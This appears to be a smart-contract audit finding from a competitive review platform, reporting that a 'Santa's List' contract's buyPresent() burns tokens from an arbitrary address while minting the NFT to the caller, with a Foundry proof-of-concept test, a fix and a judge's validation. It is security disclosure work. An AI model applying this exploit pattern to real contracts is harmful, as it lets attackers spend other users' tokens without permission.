Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Can buy present with address of other user

Summary

Attacker can call buyPresent() which burn token of another user and get back santasList NFT (mint nft without token)

Vulnerability Details

function buyPresent() will burn SantaToken in presentReceiver but will mint & send nft santasList to msg.sender() which can different with presentReceiver. Attacker can call buyPresent() with presentReceiver is address of another user have token and get back nft without lost any their token.
Test POC:

function testBuyPresentWhenNotHaveToken() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santaToken.approve(address(santasList), 1e18);
santasList.collectPresent();
// user2 call buyPresent with input is address of user
vm.startPrank(user2);
santasList.buyPresent(user);
assertEq(santasList.balanceOf(user2), 1);
assertEq(santaToken.balanceOf(user), 0);
vm.stopPrank();
}

Impact

Attacker can mint and get nft with user money without their permission.

Tools Used

Manual review & Foundry

Recommendations

Burn token from msg.sender() instead of receiver.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.